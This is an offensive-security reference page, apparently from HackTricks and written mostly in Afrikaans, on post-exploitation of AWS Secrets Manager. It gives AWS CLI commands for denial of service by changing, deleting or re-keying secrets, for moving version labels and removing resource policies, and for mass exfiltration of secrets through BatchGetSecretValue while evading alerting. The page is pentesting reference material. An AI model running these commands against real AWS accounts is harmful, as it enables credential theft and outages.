# AWS - Secrets Manager Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## Secrets Manager

Vir meer inligting, kyk:

{{#ref}}
../../aws-services/aws-secrets-manager-enum.md
{{#endref}}

### Lees Secrets

Die **secrets self is sensitiewe inligting**, [check the privesc page](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) om te leer hoe om dit te lees.

### DoS Verander Secret Value

Deur die waarde van die secret te verander kan jy **DoS al die stelsels wat van daardie waarde afhanklik is.**

> [!WARNING]
> Neem kennis dat vorige waardes ook gestoor word, so dit is maklik om net terug te gaan na die vorige waarde.
```bash
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
```
### DoS Change KMS key

As die aanvaller die secretsmanager:UpdateSecret permit het, kan hulle die secret konfigureer om 'n KMS key wat deur die aanvaller besit word te gebruik. Daardie KMS key is aanvanklik so opgestel dat enigiemand toegang daartoe kan hê en dit kan gebruik, dus is dit moontlik om die secret met die nuwe KMS key by te werk. As die KMS key nie toeganklik was nie, sou die secret nie opgedateer kon word nie.

Na die verandering van die KMS key vir die secret verander die aanvaller die konfiguratie van hul KMS key sodat net hulle daartoe toegang het. Op hierdie manier sal volgende weergawes van die secret met die nuwe KMS key geënkripteer wees, en omdat daar geen toegang daartoe is nie, sal die vermoë om die secret te onttrek verlore wees.

Dit is belangrik om op te let dat hierdie ontoeganklikheid slegs in later weergawes sal voorkom, nadat die inhoud van die secret verander het, aangesien die huidige weergawe nog met die oorspronklike KMS key geënkripteer is.
```bash
aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
```
### DoS: Verwydering van 'n geheim

Die minimum aantal dae om 'n geheim te verwyder is 7
```bash
aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7
```
## secretsmanager:RestoreSecret

Dit is moontlik om 'n secret te herstel, wat die herstel van secrets wat vir verwydering geskeduleer is toelaat, aangesien die minimum verwyderingsperiode vir secrets 7 dae is en die maksimum 30 dae. Saam met die secretsmanager:GetSecretValue toestemming maak dit moontlik om hul inhoud op te haal.

Om 'n secret wat in die proses van verwydering is te herstel, kan jy die volgende opdrag gebruik:
```bash
aws secretsmanager restore-secret \
--secret-id <Secret_Name>
```
## secretsmanager:DeleteResourcePolicy

Hierdie aksie maak dit moontlik om die resource policy te verwyder wat beheer wie toegang tot 'n secret het. Dit kan tot 'n DoS lei as die resource policy gekonfigureer is om toegang vir 'n spesifieke groep gebruikers toe te laat.

Om die resource policy te verwyder:
```bash
aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>
```
## secretsmanager:UpdateSecretVersionStage

Die statusse van 'n geheim word gebruik om weergawes daarvan te bestuur. AWSCURRENT merk die aktiewe weergawe wat toepassings gebruik, AWSPREVIOUS hou die vorige weergawe sodat jy indien nodig kan terugrol, en AWSPENDING word in die rotasieproses gebruik om 'n nuwe weergawe voor te berei en te valideer voordat dit die huidige gemaak word.

Toepassings lees altyd die weergawe met AWSCURRENT. As iemand daardie etiket na die verkeerde weergawe skuif, sal die apps ongeldige credentials gebruik en kan misluk.

AWSPREVIOUS word nie outomaties gebruik nie. As AWSCURRENT egter verwyder of verkeerd heraangewys word, kan dit lyk asof alles nog met die vorige weergawe loop.
```bash
aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
--version-stage AWSCURRENT \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>
```
### Mass Secret Exfiltration via BatchGetSecretValue (tot 20 per oproep)

Misbruik die Secrets Manager BatchGetSecretValue API om tot 20 secrets in 'n enkele versoek te onttrek. Dit kan die aantal API-oproepe dramaties verminder vergeleke met om GetSecretValue per secret te herhaal. As filters gebruik word (tags/name), is ListSecrets-permissie ook nodig. CloudTrail registreer steeds een GetSecretValue-gebeurtenis per secret wat in die batch opgevra is.

Vereiste toestemmings
- secretsmanager:BatchGetSecretValue
- secretsmanager:GetSecretValue for each target secret
- secretsmanager:ListSecrets if using --filters
- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)

> [!WARNING]
> Let daarop dat die toestemming `secretsmanager:BatchGetSecretValue` op sigself nie voldoende is om secrets te onttrek nie; jy benodig ook `secretsmanager:GetSecretValue` vir elke secret wat jy wil onttrek.

Exfiltrate by explicit list
```bash
aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
```
Exfiltrate deur filters (tag key/value of name prefix)
```bash
# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'

# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20

# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp
```
Omgaan met gedeeltelike mislukkings
```bash
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
```
Impak
- Vinnige “smash-and-grab” van baie secrets met minder API-oproepe, wat moontlik alerting omseil wat afgestem is op pieke van GetSecretValue.
- CloudTrail logs bevat steeds een GetSecretValue event per secret wat deur die batch opgehaal is.
{{#include ../../../../banners/hacktricks-training.md}}
